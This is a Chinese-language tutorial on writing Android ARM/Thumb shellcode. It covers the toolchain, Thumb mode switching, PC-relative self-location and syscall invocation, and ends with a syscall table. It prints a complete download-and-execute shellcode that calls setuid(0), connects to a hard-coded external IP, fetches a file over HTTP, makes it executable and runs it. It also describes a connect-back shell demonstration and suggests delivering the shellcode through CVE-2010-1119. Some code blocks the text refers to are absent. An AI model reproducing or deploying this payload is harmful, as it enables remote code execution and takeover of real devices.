【移動安全高階篇】————3、Android系統ShellCode編寫
隨著Android手機的普及,Android系統安全日益受人關注。漏洞攻防是安全的一大課題,其中自然少不了shellcode的編寫。本文將以提出問題、解決問題的方式教你如何編寫Android系統shellcode。由於篇幅限制,本文將不對ARM指令集進行介紹,建議沒有基礎的讀者先參考相關手冊。
基礎部分
使用什麼工具?
GNU ARM彙編器as和GNU ARM聯結器ld是編寫Android系統shellcode必不可少的兩個工具。Android NDK提供了Cygwin、Mac和Linux版本的as和ld,為了方便在Windows環境下開發,筆者在附件中提供了Windows版本的as和ld。
as和ld的使用方法很簡單,假設sc.s是我們編寫好的shellcode原始檔,先使用as sc.s -o sc.o命令將sc.s彙編成目標檔案sc.o,再使用ld sc.o -o sc將sc.o連線成可執行檔案sc。文中用到的為數不多的as彙編偽指令將在相關注釋中說明,具體請參考“Using as”手冊。
除了as和ld,我們還要用IDA作為反彙編器,IDA的使用想必不用多做介紹。用IDA記錄下sc中shellcode的頭部和尾部,就可以用十六進位制編輯器從sc中提取shellcode了。
函式引數如何傳遞?
函式引數從左到右依次存入R0~R3,如果引數個數大於4個,則剩餘引數從右到左依次入棧,返回值存入R0。
如何給shellcode瘦身?
ARM處理器支援兩種指令集:ARM指令集和Thumb指令集。ARM指令集指令長度為32位,Thumb指令集指令長度為16位。Thumb指令集的限制更多,比如立即數大小隻能在0到0xFF範圍內。
為了給shellcode瘦身,我們更傾向於使用Thumb指令集編寫shellcode。ARM處理器總是從ARM指令集開始執行,所以我們的shellcode頭部是一段ARM指令集程式,負責切換到Thumb指令集。
如何自定位?
自定位是編寫shellcode的關鍵技術之一,也就是所謂GetPC。在x86環境下,通常有CALL GetPC、FSTENV GetPC、SEH GetPC三種方式。而在ARM環境下,事情就變得簡單很多,因為指令指標PC可以直接訪問。
ARM彙編還提供了ADR偽指令,彙編器會將其轉換為相對PC定址的指令,所以我們不用擔心自定位問題。值得注意的是,LDR指令通過絕對地址定址,當基地址改變時根據重定位段資訊進行重定位。用LDR指令定址一個符號在shellcode編寫中是錯誤的,這點和x86類似。
如何定位函式?
定位函式是編寫shellcode的關鍵技術之二。在Windows環境下,通常通過PEB定位kernel32基地址,然後遍歷kernel32輸出表定位API。在Linux環境下,直接系統呼叫。
Android系統呼叫由gensyscalls.py自動生成,以execve.S為例,程式碼如下:
__set_syscall_errno程式碼如下:
從上述程式碼可以看出,Android通過呼叫軟中斷,切換到特權模式,執行系統呼叫,r7存放系統呼叫號,軟中斷號不重要。文末將附上Android系統呼叫表。
實戰部分
解決了上述問題之後,我們可以編寫shellcode了,先寫一個簡單的Connect Back Shell,程式碼如下:
使用as和ld生成可執行檔案sc,下一步就是測試shellcode了。讀者可以提取shellcode並利用公開的漏洞如CVE-2010-1119測試,筆者為了方便直接測試sc。
假定我們的工作目錄在D盤,使用nc -vvlp 2222命令bind到2222埠。啟動另一個命令列,啟動模擬器,使用adb push D:/sc /data命令將sc複製到data目錄下,使用adb shell命令進到shell,使用cd /data命令進到data目錄,使用chmod 777 sc命令設定sc可執行,使用./sc命令執行sc,如圖1所示。sc執行後我們已經拿到shell了,如圖2所示。
編寫shellcode難免出錯,自然少不了除錯工作,筆者建議使用IDA遠端除錯,方法很簡單。先將IDA目錄下的android_server複製到模擬器中並執行,使用adb forward tcp:23946 tcp:23946命令轉發埠,使用IDA開啟sc,選擇Remote ARM Linux/Android debugger偵錯程式,在Debugger/Debugger options…中勾選Stop on debugging start,在Debugger/ Process options…中填Hostname為localhost,就可以F9開始除錯了,如圖3所示。
最後我們編寫一個HTTP下載執行的shellcode,程式碼如下:
.globl _start
.align 2
_start:
.code 32
adr r0, thumb + 1
bx r0
thumb:
.code 16
mov r0, #0
mov r7, #213
swi #0 @setuid32(0)
@建立檔案
mov r2, #0x1C
lsl r2, #4 @S_IRWXU
mov r1, #0x24
lsl r1, #4
add r1, r1, #1 @O_CREAT|O_WRONLY|O_TRUNC
adr r0, name
mov r7, #5
swi #0 @int fd = open(name, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU)
mov r4, r0
mov r2, #6 @IPPROTO_TCP
mov r1, #1 @SOCK_STREAM
mov r0, #2 @AF_INET
mov r7, #250
add r7, #31
@建立連線
swi #0 @int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov r5, r0
mov r2, #16
adr r1, addr
mov r7, #250
add r7, #33
swi #0 @connect(sock, addr, 16)
@計算http頭長度
adr r2, head
mov r1, r2
b L1
L0:
add r2, r2, #1
L1:
ldrb r0, [r2]
cmp r0, #0
bne L0
sub r2, r2, r1
mov r0, r5
mov r7, #4
swi #0 @write(sock, head, strlen(head))
@跳過http頭
mov r3, #0
adr r6, nrnr
ldr r6, [r6]
L2:
mov r2, #252
sub sp, sp, #252
mov r1, sp
mov r0, r5
mov r7, #3
push {r3}
swi #0 @int len = read(sock, buf, 252)
pop {r3}
cmp r0, #0
ble L7
mov r2, #0
L3:
lsl r3, r3, #8
mov r1, sp
add r1, r2
ldrb r1, [r1]
add r3, r3, r1
add r2, r2, #1
cmp r3, r6
beq L4
cmp r2, r0
bne L3
add sp, sp, #252
b L2
L4:
mov r1, sp
add r1, r2
sub r2, r0, r2
b L6
@寫入檔案
L5:
mov r2, #252
sub sp, sp, #252
mov r1, sp
mov r0, r5
mov r7, #3
swi #0 @int len = read(sock, buf, 252)
cmp r0, #0
ble L7
mov r2, r0
mov r1, sp
L6:
mov r0, r4
mov r7, #4
swi #0 @write(fd, buf, len)
add sp, sp, #252
b L5
L7:
add sp, sp, #252
mov r0, r5
mov r7, #6
swi #0 @close(sock)
mov r0, r4
swi #0 @close(fd)
@執行檔案
mov r1, #0x1C
lsl r1, #4 @S_IRUSR|S_IWUSR|S_IXUSR
adr r0, name
mov r7, #15
swi #0 @chmod(name, S_IRUSR|S_IWUSR|S_IXUSR)
mov r2, #0
mov r1, #0
push {r1}
adr r0, name
push {r0} @argv[0]
mov r1, sp @argv
mov r7, #11
swi #0 @execve(name, argv, NULL)
mov r0, #0
mov r7, #1
swi #0 @exit(0)
addr:
.short 2 @AF_INET
.ascii "\x00\x50" @port
.byte 202, 120, 2, 102 @ip
.zero 8
head:
.ascii "GET /"
.ascii "" @file
.ascii " HTTP/1.1\r\n"
.ascii "HOST: "
.ascii "www.android.com" @host
.ascii "\r\n\r\n\x00"
.zero 2
name:
.asciz "xxx"
nrnr:
.ascii "\n\r\n\r"
Android系統呼叫表
1 exit 2 fork
3 read 4 write
5 open 6 close
9 link 10 unlink
11 execve 12 chdir
14 mknod 15 chmod
19 lseek 20 getpid
21 mount 26 ptrace
29 pause 33 access
36 sync 38 rename
39 mkdir 40 rmdir
41 dup 42 pipe
43 times 45 brk
51 acct 52 umount2
54 ioctl 55 fcntl
57 setpgid 60 umask
61 chroot 63 dup2
64 getppid 66 setsid
67 sigaction 72 sigsuspend
73 sigpending 75 setrlimit
77 getrusage 78 gettimeofday
79 settimeofday 83 symlink
85 readlink 88 reboot
91 munmap 92 truncate
93 ftruncate 94 fchmod
96 getpriority 97 setpriority
103 syslog 103 syslog
104 setitimer 105 getitimer
114 wait4 116 sysinfo
118 fsync 120 clone
122 uname 125 mprotect
126 sigprocmask 128 init_module
129 delete_module 132 getpgid
133 fchdir 140 _llseek
142 _newselect 143 flock
144 msync 145 readv
146 writev 148 fdatasync
150 mlock 151 munlock
154 sched_setparam 155 sched_getparam
156 sched_setscheduler 157 sched_getscheduler
158 sched_yield 159 sched_get_priority_max
160 sched_get_priority_min 161 sched_rr_get_interval
162 nanosleep 163 mremap
168 poll 172 prctl
174 rt_sigaction 175 rt_sigprocmask
177 rt_sigtimedwait 180 pread64
181 pwrite64 183 getcwd
184 capget 185 capset
186 sigaltstack 187 sendfile
190 vfork 191 ugetrlimit
192 mmap2 195 stat64
196 lstat64 197 fstat64
198 lchown32 199 getuid32
200 getgid32 201 geteuid32
202 getegid32 203 setreuid32
204 setregid32 205 getgroups32
206 setgroups32 207 fchown32
208 setresuid32 209 getresuid32
210 setresgid32 211 getresgid32
212 chown32 213 setuid32
214 setgid32 217 getdents64
219 mincore 220 madvise
221 fcntl64 224 gettid
240 futex 248 exit_group
250 epoll_create 251 epoll_ctl
252 epoll_wait 257 timer_create
258 timer_settime 259 timer_gettime
260 timer_getoverrun 261 timer_delete
262 clock_settime 263 clock_gettime
264 clock_getres 265 clock_nanosleep
266 statfs64 267 fstatfs64
269 utimes 280 waitid
281 socket 282 bind
283 connect 284 listen
285 accept 286 getsockname
287 getpeername 288 socketpair
290 sendto 292 recvfrom
293 shutdown 294 setsockopt
295 getsockopt 296 sendmsg
297 recvmsg 314 ioprio_set
315 ioprio_get 316 inotify_init
317 inotify_add_watch 318 inotify_rm_watch
322 openat 323 mkdirat
325 fchownat 327 fstatat64
328 unlinkat 329 renameat
333 fchmodat 356 eventfd2
359 pipe2 983042 ARM_cacheflush
983045 ARM_set_tls
CVE-2010-1119,其中shellcode為sc1.s